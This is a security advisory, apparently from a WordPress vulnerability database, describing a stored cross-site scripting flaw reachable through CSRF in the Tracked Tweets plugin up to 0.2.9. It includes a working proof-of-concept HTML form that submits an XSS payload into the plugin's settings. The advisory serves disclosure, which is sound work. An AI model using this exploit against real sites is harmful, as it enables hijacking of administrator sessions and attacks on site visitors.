Tracked Tweets <= 0.2.9 – Stored Cross-Site Scripting via CSRF

Description

The plugin does not have SCRF check when updating its settings, as well as does not sanitise and escape them when outputting them back. This could allow attackers to make a logged in admin update them to arbitrary values, including XSS payloads, via a CSRF attack

Proof of Concept

<html>
  <body>
    <form action="https://example.com/wp-admin/options-general.php?page=tracked-tweets/trackedtweets.php" method="POST">
      <input type="hidden" name="twitter_username" value='"><img src onerror=alert(/XSS/)>' />
      <input type="hidden" name="twitter_password" value="test" />
      <input type="hidden" name="ga_source" value="twitter" />
      <input type="hidden" name="ga_medium" value="social" />
      <input type="hidden" name="tweet_format" value="aa" />
      <input type="hidden" name="shortener" value="bitly" />
      <input type="hidden" name="savesettings" value="Save settings" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>